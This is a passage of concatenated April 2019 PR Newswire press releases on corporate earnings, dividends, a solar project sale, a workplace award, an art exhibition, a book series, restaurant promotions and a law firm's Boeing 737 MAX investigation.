impact the company's outlook. For a "listen only" broadcast, go to the company's website at www.investors.tenneco.com. Presentation materials will be available in the investor section of our website. To participate by telephone, please dial: 1-833-366-1121 (domestic) or 1-412-902-6733 (international), using the passcode "Tenneco Inc." A call playback will be available for one week, starting approximately one hour after the conclusion of the call. To connect, please dial 1-877-344-7529 (domestic), 1-412-317-0088 (international), 855-669-9658 (Canada), using the replay access code 10130965. About Tenneco Headquartered in Lake Forest, Illinois, Tenneco is one of the world's leading designers, manufacturers and marketers of Aftermarket, Ride Performance, Clean Air and Powertrain products and technology solutions for diversified markets, including light vehicle, commercial truck, off-highway, industrial and the aftermarket, with 2018 revenues of $11.8 billion and approximately 81,000 employees worldwide. SOURCE Tenneco, Inc. Related Links http://www.tenneco.com The Honorable Shusaku Tatara, Judge in the Chiba District Court of Japan , shared his experience of returning to the bench as an openly gay judge District Court of , shared his experience of returning to the bench as an openly gay judge Natsue Ishida , General Counsel and Chief Compliance Officer and Senior Vice President, Legal & Compliance of UD Trucks Corporation, spoke about initiatives to increase women in STEM and the experience of returnees, who come back to Japan after extended time abroad , General Counsel and Chief Compliance Officer and Senior Vice President, Legal & Compliance of UD Trucks Corporation, spoke about initiatives to increase women in STEM and the experience of returnees, who come back to after extended time abroad Jean-Denis Marx , Partner at Baker & McKenzie, spoke about the differences in response to LGBTQ+, and gender and the structural impediments to increasing diversity , Partner at Baker & McKenzie, spoke about the differences in response to LGBTQ+, and gender and the structural impediments to increasing diversity Christopher Clay , Director, Legal Division of Mitsubishi UFJ Financial Group, Inc., spoke of the fierce global competition for talent and the existential threat facing Japanese companies that do not adopt a culture of inclusion "This was a stellar group of panelists, each of whom fully grasps the importance of diversity and inclusion for continued growth and success in our industry," Mack said. "It was a very impactful session as the personal became professional for the group." ACEDS Vice President, Client Engagement, Kaylee Walstad, CEDS, was honored as conference Global Ambassador for her work promoting the conference and its participants to colleagues and other stakeholders across the community. "I was overwhelmed to receive the award," Walstad said. "Promoting and increasing the awareness of the event was a privilege as I believe it is an incredibly important and timely forum for the legal and technology field." Other speakers at the networking and education event included Dr. Kenzo Fujisue, Japanese parliament; Jason Hsu, the Taiwanese Crypto Congressman; and a conversation-enhancing combination of General Counsels, CEOs, and professionals in forensics, privacy, eDiscovery, and more. ACEDS affiliates OpenText + Catalyst, Thomson Reuters and Relativity were among the conference sponsors and speakers. "The Tokyo Summit fulfills my vision of a world-class educational forum where experts meet, collaborate and engage on cutting-edge topics in critical issues related to cybersecurity, data privacy, informational governance and electronic discovery," said Jonathan Rossi Hiroshi, Tokyo Summit Founder and CEO. "This is just the beginning of something very special. Stay tuned for some big announcements!" Highlights of the event can be accessed via Twitter at @kayleewalstad. About ACEDS The Association of Certified E-Discovery Specialists (ACEDS), part of leading legal education provider The BARBRI Group, is a global membership association committed to promoting and verifying eDiscovery skills and competence for organizations and individuals through training, certification, and supported by ACEDS chapters around the world. The association's goal is to help professionals and organizations reduce the costs and risks associated with eDiscovery, and realize the advantages of performing it effectively. ACEDS awards the Certified E-Discovery Specialist (CEDS) credential, and the eDEx, the eDiscovery Executive Certificate, held by practitioners at AmLaw 200 firms, government agencies, including the U.S. Securities and Exchange Commission and United Nations and some of the largest global corporations in the world. About CJK Global CJK Global is a multi-platform enterprise providing professional services and business-to-business content. Our professional services group deploys expert bilingual teams during the discovery stage of litigation, investigation and transaction based due diligence. The content unit offers exclusively tailored educational summits, in-person interviews & journals. www.CJKGlobal.com About LLM Law Review LLM Law Review is the media and content division of CJK Global. We publish regulatory reports and commentary on technology developments as they relate to big data challenges, cybersecurity, data privacy and other issues that arise in the age of new technologies. SOURCE The Association of Certified E-Discovery Specialists Great Place to Work Canada releases 2019 Best Workplaces in Canada VANCOUVER, April 26, 2019 /PRNewswire/ - Traction on Demand (ToD), BC-based cloud technology and consulting firm, was recognized as the best place to work in Canada by Great Place to Work (GPTW) Canada in the 100-999 employee category. This is the sixth consecutive year ToD has been listed in the category's top ten but the first year the company has placed number one. "We are honored to be recognized as the best workplace in Canada alongside 149 incredible organizations that are due tribute for their role as leaders of the employee-first revolution," says Greg Malpass, CEO & Founder of Traction on Demand. "I believe strongly in the Great Place to Work program because the results are built using data collected from the people that matter most to me; Tractionites. My hope is that this incredible community continues to do the right thing; to prove people and profit can be mutual goals and continue to raise the bar on what it means to be a Great Place to Work." GPTW rankings are developed using The Great Place to Work Trust Model and are largely dependent on results from the Trust Index Employee Survey. The 2019 survey determined that 98% of Traction on Demand's employees feel good about the ways they contribute to the community and 100% of employees have confidence in their executive team's judgement. Since debuting on GPTW's list of Best Workplaces at number three in 2014, Traction on Demand's headcount has grown more than 750% with a distributed workforce across North America and India. "Driven by an unwavering commitment to our core values, the Traction on Demand team remains dedicated to creating an environment where people derive value from their work, where they can pursue opportunity, and where they're encouraged to do good in the community," said Tanya Jarrett, Chief People Officer at Traction on Demand. "Words cannot express how proud I am to work with such an incredible groups of human beings." Traction on Demand's purpose-driven operating model and culture will be showcased at TractionForce 2019 , Western Canada's largest cloud technology event, on May 23rd in Vancouver, BC. About Traction on Demand: Traction on Demand is one of North America's largest independent Salesforce consulting and application development partners with 5,000+ projects on the platform. We develop innovative cloud technology solutions for North America's largest and most influential brands, as well as hundreds of small and medium-sized companies. As one of the country's first 100 certified B Corporations, Traction on Demand has been named a top 10 best workplace in Canada since 2014, proving that team, community and ethics are top priorities. Traction on Demand's incubated SaaS product companies include Traction Guest , Traction Hierarchies , Traction Complete and Traction Rec . About Great Place to Work: Great Place to Work is the global authority on high-trust, high-performance workplace cultures. Conducting the world's largest workplace study, surveying over 8,000 organizations representing more than 10 million employees in more than 50 countries, GPTW provides tremendous understanding of effective business cultures and the increasingly complex marketplace. Through proprietary assessment tools and services, GPTW recognizes the world's Best Workplaces in a series of national lists including those published by The Globe & Mail (Canada) and Fortune magazine (USA). GPTW provides the benchmarks and expertise needed to create, sustain, and recognize outstanding workplaces, and it supports clients as this accelerating pace of change compels organizations to continuously adapt, innovate and thrive. SOURCE Traction on Demand Related Links www.tractionondemand.com RICHMOND, Va., April 25, 2019 /PRNewswire/ -- Urban Grid, a leading developer of solar projects throughout the United States, is pleased to announce that NextEnergy Capital through their fund NextPower III, has acquired two of our solar development projects, totaling approximately 46MWp/34MWac, in Henrico County and Westmoreland County, VA. The two solar projects, Briel Farm Solar (28MWp/20MWac) and Gardy's Mill Solar (18MWp/14MWac), will cover approximately 300 acres and generate electricity equivalent to the consumption of 9,785 homes. These two projects represent NextEnergy Capital's first utility-scale solar venture in the United States for their new fund, NextPower III. The estimated $40m construction cost of the two projects will generate over 120 jobs. Construction will commence immediately with the projects expected to reach commercial operation by March 2020. The solar projects will provide direct and indirect economic benefits to the Commonwealth of Virginia of approximately $21m and will offset approximately 123,706,737 pounds of CO 2 annually. Frank DePew, President of Urban Grid commented "Urban Grid is excited to announce the acquisitions of these two projects by NextEnergy. Our team members successfully partnered previously with NextEnergy on several solar projects in the UK and we are pleased to continue that relationship with the sale of Briel Farm Solar and Gardy's Mill Solar, facilitating NextEnergy's expansion into the US market. Urban Grid looks forward to continuing to bring exceptional development projects and economic benefits to the Commonwealth of Virginia. We are grateful to the many individuals that made these projects possible, especially those at Henrico County and Westmoreland County for their support and cooperation throughout the development process." Michael Bonte-Friedheim, CEO and Founding Partner of NextEnergy Capital highlighted "We are very pleased to announce NextPower III's first investments in the US solar market, where we expect to grow significantly in short order. We are also looking forward to strengthening the partnership with Urban Grid and developing our relationships within the local communities and institutions. Our track record of fostering mutually beneficial relationships in the communities in which we operate is something we are particularly proud of." About Urban Grid Urban Grid is a leading developer of utility-scale solar power plants. Founded in Richmond, Virginia, in 2011, with offices in Virginia, Washington, DC, and Maryland, Urban Grid has completed the development of approximately 646 MWp of solar projects and currently has more than 5,600 MWp of solar projects under development. Our team has a proven track record of delivering solar energy solutions for corporate, utility, and municipal clients to meet their sustainability and renewable energy goals. www.urbangridco.com About NextEnergy Capital NextEnergy Capital ("NEC") Group is one of the leading international investment and asset managers focused on the solar sector. Founded in 2007, NEC has over 140 employees across five offices, including London, Milan, Hyderabad, Luxembourg and Guernsey. Since inception it has acquired over 150 solar assets and NextEnergy Capital Limited currently manages c.$1.5 billion worth of solar investments. NextPower III is a private equity fund established to invest in the international solar sector, specifically to fund the construction and long-term ownership of solar power plants. NextPower III's target markets comprise mainly OECD and OECD Key Partner countries. It has initial commitments of c.US$160m, secured at its first close in November 2018, and a target size of US$750m. In the UK, the NextEnergy Solar Fund (NESF) is listed on the London Stock Exchange and is the largest listed solar infrastructure company in Europe. It has invested over 894 million into operating solar assets, amassing a portfolio of 87 operational sites, with a total capacity of 691MW. Of the 87 sites, 7 are in Italy and there are 3 portfolios of UK rooftop assets. SOURCE Urban Grid Related Links urbangridco.com LEXINGTON, Ky., April 25, 2019 /PRNewswire/ -- Valvoline Inc. (NYSE: VVV) today announced that its board of directors declared a quarterly cash dividend of $0.106 per share of Valvoline common stock. The dividend is payable on June 17, 2019, to shareholders of record as of the close of business on May 31, 2019. About Valvoline Valvoline Inc. (NYSE: VVV) is a leading worldwide marketer and supplier of premium branded lubricants and automotive services, with sales in more than 140 countries. Established in 1866, the company's heritage spans more than 150 years, during which it has developed powerful brand recognition across multiple product and service channels. Valvoline ranks as the No. 3 passenger car motor oil brand in the DIY market by volume. It operates and franchises more than 1,300 quick-lube locations and is the No. 2 chain by number of stores in the United States under the Valvoline Instant Oil Change brand and the No. 3 chain by number of stores in Canada under the Great Canadian Oil Change brand. It also markets Valvoline lubricants and automotive chemicals, including the new Valvoline Modern Engine Full Synthetic Motor Oil, which is specifically engineered to protect against carbon build-up in Gasoline Direct Injection (GDI), turbo and other engines manufactured since 2012; Valvoline High Mileage with MaxLife technology motor oil for engines over 75,000 miles; Valvoline Synthetic motor oil; and Zerex antifreeze. To learn more, visit www.valvoline.com. Trademark, Valvoline or its subsidiaries, registered in various countries Service mark, Valvoline or its subsidiaries, registered in various countries FOR FURTHER INFORMATION Investor and Media Relations: Sean T. Cornett +1 (859) 357-2798 [email protected] SOURCE Valvoline Inc. Related Links http://www.valvoline.com NORTH MIAMI, Fla., April 26, 2019 /PRNewswire/ -- AFRICOBRA: Nation Time is an official Collateral Event of Biennale Arte 2019 (May 11th November 24th 2019), in Venice, Italy. AFRICOBRA: Nation Time is presented by bardoLA, originated and supported by the Museum of Contemporary Art North Miami, and curated by Jeffreen M. Hayes, Ph.D. Angela Davis, Gerald Williams, 1971, acrylic on canvas, 48 x 48 in. (122 x 122 cm), Courtesy of Gerald Williams and Kavi Gupta Black Family, Wadsworth Jarrell, 1968, acrylic on canvas, 46 x 36 in. (117 x 91 cm), Courtesy of Wadsworth Jarrell and Kavi Gupta AFRICOBRA was founded on the South Side of Chicago in 1968 by a collective of young Black artists, whose interest in Transnational Black Aesthetics led them to create one of the most distinctive visual voices in 20th Century American art. The key characteristics to what we now consider the classic AFRICOBRA lookvibrant, "cool-ade" colors, bold text, shine and positive images of Black people were essential to everyday life in the community from which this movement emerged. It is a movement with roots in the soil, streets, classrooms, studios, and living rooms of the South Side of Chicagoyet its influence has extended around the world. The five AFRICOBRA foundersJeff Donaldson, Wadsworth Jarrell, Jae Jarrell, Barbara Jones-Hogu and Gerald Williamsunderstood the potential power visual art has to communicate deep meaning on multiple layers. They had the sophistication to mobilize the organic elements of their everyday visual environment into something capable of affecting the hearts, minds, and spirits of contemporary people. Their collective impact, in addition to Napoleon Jones-Henderson and Nelson Stevens both of whom joined the group in 1969 on the visual arts scene helped establish the visual voice of the Black Arts Movement of the 1960s and 70s. Their further impactas artists, educators, and community leadershas brought the members of AFRICOBRA to the forefront of contemporary conversations about the history, legacy, and future of Black Art in America and the world. AFRICOBRA: Nation Time is the next chapter of AFRICOBRA: Messages to the People, which premiered at MOCA North Miami during Art Basel Miami 2018, AFRICOBRA: Nation Time will focus entirely on the historic aspects of this vital, Chicago-born Black Arts collective. More than 40 works will be on view by Jeff Donaldson, Gerald Williams, Jae Jarrell, Wadsworth Jarrell, Barbara Jones-Hogu, Napoleon Jones-Henderson, and Nelson Stevens. Historic documentation, archival photographs and other ephemera will be showcased throughout the exhibition offering a unique and comprehensive narrative of AFRICOBRA's birth and evolution on the South Side of Chicago in the late 1960s and early 1970s and its reverberating effect on the art scenes of Washington, DC, New York City, and Lagos, Nigeria. This groundbreaking exhibition will be mounted within the historic, picturesque Venetian Gothic palazzo of Ca' Faccanon, offering more than 5,000 square feet of exhibition space. Its perfectly central location is only meters away from the Rialto Bridge and St. Mark's square. AFRICOBRA: Nation Time at Biennale Arte 2019 is the first time the work of this vital, definitive, and historic Black Arts collective has been given the opportunity to be celebrated by global audiences on this scale. AFRICOBRA: Nation Time is an exhibition of historic importance for the Black Arts Movement in the United States and all international audiences who are curious to discover more about the ways in which the aesthetic of African American artists relates to politics, culture and identity. Capturing the sentiment of their time with a visual language of vivid colors, rhythm, compositional arrangement and shine, the artists in AFRICOBRA: Nation Time reflect how a marginalized group found a way to empower themselves in a society that consistently denied them their power. "The fullness of Blackness is important in our global culture and AFRICOBRA addresses and connects the Diaspora in their art," said Hayes. "While it represents this movement of nationhood in the 1970s, this exhibition explores the social and political fabric that continues to hold Black people together, even through the struggle in our contemporary moment." The exhibition is sponsored by Kavi Gupta Gallery and made possible with generous support from the City of North Miami, Florida, and the John S. and James L. Knight Foundation. The exhibition is also supported by the Terra Foundation for American Art as part of Art Design Chicago, an initiative exploring Chicago's art and design legacy. Special thanks to Shirley and William Lehman, Greater Miami Convention and Visitors Bureau, Wege Foundation, Kravets Wehby Gallery and Lise and Jeffrey Wilks. The forthcoming catalogue is made possible with support from the Elizabeth Firestone Graham Foundation and the Terra Foundation for American Art. MOCA's exhibitions and programs are made possible with the continued support of the City of North Miami; the State of Florida, Department of State, Division of Cultural Affairs and the Florida Council on Arts and Culture; the Miami-Dade County Department of Cultural Affairs and the Cultural Affairs Council; the Miami-Dade County Mayor and Board of County Commissioners. For more information about AFRICOBRA: Nation Time, please contact Abbie Lipton / Duree & Company, Inc., 954-723-9350, [email protected] or Elizabeta Betinski / bardoLA, 310-902-3027, [email protected]. SOURCE Museum of Contemporary Art North Miami Related Links https://mocanomi.org DETROIT, April 26, 2019 /PRNewswire/ -- Stratview Research announces the launch of a new research report on Aircraft Floor Panel Market by Aircraft Type (Narrow-Body Aircraft, Wide-Body Aircraft, Very Large Aircraft, Regional Aircraft, and General Aviation), by Core Material Type (Nomex Honeycomb, Aluminum Honeycomb, and Others), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024. This comprehensive report, from Stratview Research, estimates the global as well as regional aircraft floor panel market for the forecast period of 2019 to 2024 by studying current market trends, changing competitive dynamics, and future market possibilities. The report provides detailed insights into the market dynamics to enable informed business decision making and growth strategy formulation based on the opportunities present in the market. Aircraft Floor Panel Market: Highlights As per Stratview Research, the global aircraft floor panel market is projected to reach an estimated value of US$ 515.1 million in 2024. Healthy future growth rate offers a plethora of opportunities to the entire ecosystem of the market. Increasing production rates of key commercial and regional aircraft, such as B737, B787, A320, A350XWB, and A220; upcoming commercial and regional aircraft, such as COMAC C919 and Mitsubishi MRJ; requirement of lightweight aircraft flooring, advancement in the flooring technology; and increasing global aircraft fleet size are the major growth drivers of the market. Click Here and Run Through the Table of Contents (TOC) of the Report The research's findings suggest that narrow-body aircraft is expected to remain the largest segment of the market during the forecast, whereas wide-body aircraft is likely to witness the highest growth during the same period, driven by increasing demand for wide-body aircraft, such as B787 and A350XWB, in the developing economies, such as China and India. In terms of core material type, Nomex honeycomb has been the growing choice for a wide range of usage in the aircraft industry including floor panels. All the major aircraft types including narrow-body and wide-body, are heavily relying on this unique material. Nomex honeycomb offers enormous advantages over competing materials, such as lightweight, exceptional stiffness and strength, good corrosion resistance, good fire resistance, good thermal stability, and excellent dielectric properties. Click Here and Register for Free Sample on Aircraft Floor Panel Market As per the study, North America is projected to remain the largest market for aircraft floor panels during the forecast period. The region has been a pioneer in the aerospace & defense industry and is the manufacturing capital with the presence of several small- to large-sized OEMs in each aircraft category. However, Asia-Pacific is expected to witness the highest growth during the same period. Highest commercial aircraft fleet size, opening of manufacturing/assembly plants of Boeing and Airbus, and upcoming indigenous commercial and regional aircraft, such as COMAC C919 and Mitsubishi MRJ will continue to drive the Asia-Pacific's market in the coming years. Some of the major companies in the aircraft floor panel market are The Gill Corporation, Triumph Group, B/E Aerospace (now Collins Aerospace), Hexcel Corporation, EnCore Aerospace Group, and Zodiac Aerospace (now Safran S.A.). New product development, adoption of advanced lightweight materials, and collaboration with OEMs are some of the key strategies adopted by the major players to gain a competitive edge over other others. Report Features This report provides market intelligence in the most comprehensive way. The report structure has been kept such that it offers maximum business value. It provides critical insights on the market dynamics and will enable strategic decision making for the existing market players as well as those willing to enter the market. The following are the key features of the report: Market structure: Overview, industry life cycle analysis, supply chain analysis. Market environment analysis: Growth drivers and constraints, Porter's five forces analysis, SWOT analysis. Market trend and forecast analysis. Market segment trend and forecast. Competitive landscape and dynamics: Market share, product portfolio, product launches, etc. Attractive market segments and associated growth opportunities. Emerging trends. Strategic growth opportunities for the existing and new players. Key success factors. This report studies the floor panel market in the global aircraft industry and has segmented the market in four ways, keeping in mind the interest of all the stakeholders across the value chain. Following are the four ways in which the market is segmented: Aircraft Floor Panel Market by Aircraft Type: Narrow-Body Aircraft (Regional Analysis: NA, Europe , APAC, and RoW) Wide-Body Aircraft (Regional Analysis: NA, Europe , APAC, and RoW) Very Large Aircraft (Regional Analysis: NA, Europe , APAC, and RoW) Regional Aircraft (Regional Analysis: NA, Europe , APAC, and RoW) General Aviation (Regional Analysis: NA, Europe , APAC, and RoW) Aircraft Floor Panel Market by Core Material Type: Nomex Honeycomb (Regional Analysis: NA, Europe , APAC, and RoW) Aluminium Honeycomb (Regional Analysis: NA, Europe , APAC, and RoW) Others (Regional Analysis: NA, Europe , APAC, and RoW) Aircraft Floor Panel Market by End-User Type: OE Sales (Regional Analysis: NA, Europe , APAC, and RoW) Aftermarket Sales (Regional Analysis: NA, Europe , APAC, and RoW) Aircraft Floor Panel Market by Region: North America (Country Analysis: The USA , Canada , and Mexico ) Europe (Country Analysis: Germany , France , Russia , The UK, Spain , and Rest of Europe ) Asia-Pacific (Country Analysis: Japan , China , India , and Rest of Asia-Pacific ) Rest of the world (Sub-Region Analysis: Latin America , the Middle East , and Others) Stratview Research has number of high value market reports in the global aerospace & defense industry. Please refer to the following link to browse through our reports: Click Here for Other Reports from Stratview Research in the Aerospace & Defense Industry Some of our other related market reports in the aerospace & defense industry: Aircraft Interior Sandwich Panel Market by Aircraft Type (Narrow-Body Aircraft, Wide-Body Aircraft, Very Large Aircraft, Regional Aircraft, and General Aviation), by Application Type (Floor Panel, Sidewall Panel, Ceiling Panel, Stowage Bin, Galley, Lavatory, and Others), by Core Material Type (Nomex Honeycomb, Aluminum Honeycomb, and Others), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2018-2023. Aircraft Cabin Interior Composites Market by Aircraft Type (Narrow-Body Aircraft, Wide-Body Aircraft, Very Large Aircraft, Regional Aircraft, and General Aircraft), by Application Type (Floor Panels, Sidewall Panels, Ceiling Panels, Stowage Bins, Galleys, Lavatories, Seats, Ducts, and Others), by Composite Type (Glass Fiber Composites, Carbon Fiber Composites, and Others), by Process Type (Sandwich Construction, Compression Molding, and Others), by End-User Type (OE and Aftermarket), and by Region (North America, Europe, Asia-Pacific, and Rest of the World), Trend, Forecast, Competitive Analysis, and Growth Opportunity: 2019-2024. About Stratview Research Stratview Research is a global market intelligence firm providing wide range of services including syndicated market reports, custom research and sourcing intelligence across industries, such as Advanced Materials, Aerospace & Defense, Automotive & Mass Transportation, Consumer Goods, Construction & Equipment, Electronics and Semiconductors, Energy & Utility, Healthcare & Life Sciences, and Oil & Gas. We have a strong team of industry veterans and analysts with an extensive experience in executing custom research projects for mid-sized to Fortune 500 companies, in the areas of Market Assessment, Opportunity Screening, Competitive Intelligence, Due Diligence, Target Screening, Market Entry Strategy, Go to Market Strategy, and Voice of Customer studies. Stratview Research is a trusted brand globally, providing high quality research and strategic insights that help companies worldwide in effective decision making. For enquiries, Contact: Stratview Research E-mail: [email protected] Direct: +1-313-307-4176 SOURCE Stratview Research WAITSFIELD, Vt., April 26, 2019 /PRNewswire/ -- Chooseco, publisher of the world-famous Choose Your Own Adventure interactive book series announced the release of Choose Your Own Adventure SPIES, a new sub-series that lets readers experience life as an actual spy from history. The sub-series launches with two May 1st titles written by debut authors Kyandreia Jones and Katherine Factor. Each book explores the life of an iconic figure: the young Margaretha Zelle, best known as MATA HARI, and JAMES ARMISTEAD LAFAYETTE, a true hero and spy from the Revolutionary War whose amazing story is rarely included in history books. ADVANCED PRAISE FOR CHOOSE YOUR OWN ADVENTURE SPIES "bringing the life of an enslaved person within reach for modern young readers is a feat. For fans of Choose Your Own Adventure books, this historical drama is worth having on the shelf." Kirkus Reviews "History gets a makeover in the new Choose Your Own Adventure Spies series, which plunks readers into exciting scenarios, based on real events, and lets them call the shotsThis book will get kids excited about history, but it's imperative that they read the end note on James Armistead Lafayette's life to learn what choices he actually made." Booklist Reviews Debut authors KATHERINE FACTOR (Choose Your Own Adventure SPIES: Mata Hari) and KYANDREIA JONES (Choose Your Own Adventure SPIES: James Armistead Lafayette) will be visiting bookstores, schools, and libraries nationwide. See below for the current Choose Your Own Adventure SPIES event calendar : May 1 : Reading and Q&A with Kyandreia Jones at Hamilton College (Clinton, NY) : Reading and Q&A with Kyandreia Jones at May 3 : Reading and Q&A with Katherine Factor at NW Academy ( Portland, OR ) : Reading and Q&A with at NW Academy ( ) May 9 : Reading and writing workshop with Katherine Factor at Hawthorne Scholastic Academy ( Chicago, IL ) : Reading and writing workshop with at Hawthorne Scholastic Academy ( ) May 18 : Reading and Q&A with Katherine Factor at Powell's Books ( Portland, OR ) : Reading and Q&A with at Books ( ) May 19 : Reading and Q&A with Katherine Factor at Rose City Book Pub ( Portland, OR ) : Reading and Q&A with at Rose City Book Pub ( ) June 1 : Reading and Q&A with Kyandreia Jones at Books & Books ( Coral Gables, FL ) : Reading and Q&A with Kyandreia Jones at Books & Books ( ) July 16 : Reading and writing workshop with Katherine Factor at Traverse Area District Library ( Traverse City, MI ) : Reading and writing workshop with at Traverse Area District Library ( ) July & August: Readings and writing workshops with Katherine Factor at Saturday Academy ( Portland, OR ) Chooseco is a purpose-built publishing house which brought the groundbreaking Choose Your Own Adventure series back to print. Since the series relaunch, Chooseco has sold over 15 million copies. Chooseco is based in Vermont. It boasts a creative team dedicated to promoting literacy through immersive interactive stories. Media contact: Elizabeth Middleman [email protected] 802-496-2598 SOURCE Chooseco Related Links https://www.cyoa.com LOS ANGELES, April 26, 2019 /PRNewswire/ -- Chevys Fresh Mex is pulling out all the stops to create the most memorable Cinco de Mayo ever. Don't miss out on the biggest party of the year! Chevys Cinco extravaganza will begin at 8am on Sunday, May 5th, with a special "Bottomless Mimosas & Marys Brunch." From 8am-3pm, enjoy brunch with bottomless mix + match mimosas & bloody marys for $12 per person. The delicious menu includes items like Huevos Rancheros ($10.99), Steak A La Diabla & Eggs ($15.99), Shrimp & Crab Omelette ($13.99), Chilaquiles ($10.99), and many more. Margarita, Beer and Shot Specials will be offered all-day long. Celebrate with your favorite drinks and appetizers in the Cantina, or join us for dinner in the Dining Room to enjoy your Fresh Mex favorites! Link to Chevys Cinco de Mayo page: https://chevys.com/cinco-de-mayo/ Click the link below to download photos of Chevys Cinco de Mayo https://www.dropbox.com/sh/ylu2z6s7ma4im0c/AACodVjAuOPLg4YKhDVVO-d6a?dl=0 *Bottomless drinks are not available at VA location. Specials noted above are not available at franchise locations: NJ, MO, MN, SD, IL, Miami (FL), Annapolis (MD), Brandywine (MD), and Hanover (MD). ABOUT CHEVYS FRESH MEX: Chevys Fresh Mex is known for its sizzling fajitas, mouthwatering guacamole, flautas, and handcrafted margaritasno one does them better. Offering a "Fresh Mex" take on Mexican cuisine, Chevys uses farm-fresh ingredients to make their food from scratch daily. Whether you're with friends or family, there's a fiesta waiting for you here. For more information, visit www.chevys.com. ABOUT XPERIENCE Restaurant Group (XRG): Headquartered in Cypress, Calif., Xperience Restaurant Group, XRG, is one of the nation's leading operators of casual and fine dining brands. Xperience Restaurant Group, XRG, brands include Acapulco, Chevys Fresh Mex, El Torito, El Torito Grill, Las Brisas, Pink Taco, Who Song and Larry's and Sinigual. For more information, please visit www.xperiencerg.com. SOURCE Chevys Fresh Mex Related Links http://www.chevys.com BOSTON, April 26, 2019 /PRNewswire/ -- Thornton Law Firm LLP announces that it is investigating the causes of the recent crashes involving Boeing 737 MAX 8 aircraft near Jakarta, Indonesia and Addis Abba, Ethiopia. The investigation is focusing on the role Boeing and its suppliers may have played in causing the accidents as a result of possible design or manufacturing defects. This may result in the ability for family members of the victims of these accidents to file lawsuits against Boeing and its suppliers. If you are interested in pursuing this claim, or to discuss your legal rights, please email [email protected], or call 617-720-1333. The investigation focuses in large part on the Maneuvering Characteristics Augmentation System (MCAS), which is a stall prevention system designed to activate in manual flight, with the airplane's flaps up, at an elevated Angle of Attack (AOA). A number of media reports into the investigations into the Boeing MAX crashes suggests issues with the MCAS may have caused the accidents. If your family or relative(s) have been impacted by the Boeing MAX crashes, and you would like to discuss your potential rights, please contact the Thornton Law Firm's Boeing investigation team [email protected], or call 617-720-1333. Thornton Law Firm has a tradition of excellence when it comes to representing victims in a wide range of personal injury matters. Now the leading injury law firm in Massachusetts and the largest plaintiff law firm in New England, the firm has 20 attorneys representing thousands of clients in a wide variety of plaintiff-side work. Experience in complex litigation over the last four decades has led to the firm's involvement in cases of local and national importance. Attorney Advertising. Prior results do not guarantee a similar outcome. Not licensed to practice law in all states. SOURCE Thornton Law Firm, LLP Related Links http://www.tenlaw.com HOUSTON, April 26, 2019 /PRNewswire/ -- Cabot Oil & Gas Corporation (NYSE: COG) ("Cabot" or the "Company") today reported financial and operating results for the first-quarter of 2019. "For the quarter, Cabot generated record levels of operating cash flow, free cash flow, adjusted net income, and production, resulting from continued operational success, disciplined capital allocation and cost control, and strong price realizations," stated Dan O. Dinges, Chairman, President and Chief Executive Officer. "For the full-year, we remain on track to deliver earnings per share growth, return on capital employed, and a free cash flow yield that are extremely attractive when compared across all sectors of the market." First-Quarter 2019 Highlights Net income of $262.8 million (or $0.62 per share); adjusted net income (non-GAAP) of $307.8 million (or $0.73 per share) (or per share); adjusted net income (non-GAAP) of (or per share) Net cash provided by operating activities of $585.3 million ; discretionary cash flow (non-GAAP) of $505.9 million ; discretionary cash flow (non-GAAP) of Free cash flow (non-GAAP) of $308.4 million Return on capital employed (ROCE) (non-GAAP) for the trailing twelve months of 20.4 percent Daily equivalent production of 2,276 million cubic feet equivalent (Mmcfe) per day, an increase of 21 percent relative to the prior-year comparable quarter (25 percent on a divestiture-adjusted basis) Improved operating expenses per unit by six percent relative to the prior-year comparable quarter Announced a 29 percent dividend increase, the Company's fourth dividend increase in the last two years See the supplemental tables at the end of this press release for a reconciliation of non-GAAP measures including adjusted net income, discretionary cash flow, EBITDAX, free cash flow, net debt to adjusted capitalization ratio, and ROCE. First-Quarter 2019 Financial Results First-quarter 2019 daily equivalent production was 2,276 Mmcfe per day (100 percent natural gas), exceeding the high-end of the Company's guidance range and representing a 21 percent increase relative to the first-quarter of 2018. On a divestiture-adjusted basis, first-quarter 2019 daily equivalent production increased 25 percent relative to the prior-year comparable quarter. First-quarter 2019 net income was $262.8 million, or $0.62 per share, compared to net income of $117.2 million, or $0.26 per share, in the prior-year period. First-quarter 2019 adjusted net income (non-GAAP) was $307.8 million, or $0.73 per share, compared to adjusted net income of $128.5 million, or $0.28 per share, in the prior-year period. First-quarter 2019 EBITDAX (non-GAAP) was $513.7 million, compared to $278.6 million in the prior-year period. First-quarter 2019 net cash provided by operating activities was $585.3 million, compared to $272.8 million in the prior-year period. First-quarter 2019 discretionary cash flow (non-GAAP) was $505.9 million, compared to $280.3 million in the prior-year period. First-quarter 2019 free cash flow (non-GAAP) was $308.4 million, compared to $88.6 million in the prior-year period. First-quarter 2019 natural gas price realizations, including the impact of derivatives, were $3.35 per thousand cubic feet (Mcf), an increase of 37 percent compared to the prior-year period. Excluding the impact of derivatives, first-quarter 2019 natural gas price realizations were $3.09 per Mcf, representing a $0.06 discount to NYMEX settlement prices compared to a $0.50 discount in the prior-year comparable quarter. "Given our access to high seasonal demand in the Mid-Atlantic market and improving regional basis differentials, Cabot recognized its best corporate-wide differential since the second-quarter of 2013," commented Dinges. First-quarter 2019 operating expenses (including financing) decreased to $1.48 per thousand cubic feet equivalent (Mcfe), a six percent improvement compared to the prior-year period. Cabot incurred a total of $204.3 million of capital expenditures in the first-quarter of 2019 including $202.4 million of drilling and facilities capital, $0.6 million of leasehold acquisition capital, and $1.3 million of other capital. Additionally, the Company contributed $1.8 million to its equity method pipeline investments. See the supplemental table at the end of this press release reconciling the capital expenditures during the first-quarter of 2019. Dividend Increase Cabot's Board of Directors has approved a 29 percent increase in its quarterly cash dividend to $0.09 per share on the Company's common stock, resulting in the fourth dividend increase in the last two years. The dividend will be paid on May 29, 2019 to all shareholders of record as of the close of business on May 15, 2019. "Our capital allocation strategy remains focused on returning at least 50 percent of our free cash flow to shareholders annually through the combination of a growing dividend and share repurchases," highlighted Dinges. "Even when stress-testing our five-year plan to natural gas prices that are significantly below the current forward curve, Cabot's anticipated free cash flow profile would enable the Company to continue to grow its dividend over time to a yield that is competitive relative to the broader equity market." Financial Position and Liquidity As of March 31, 2019, Cabot had total debt of $1.2 billion and cash on hand of $314.9 million. The Company's debt-to-total capitalization ratio and debt-to-trailing twelve months 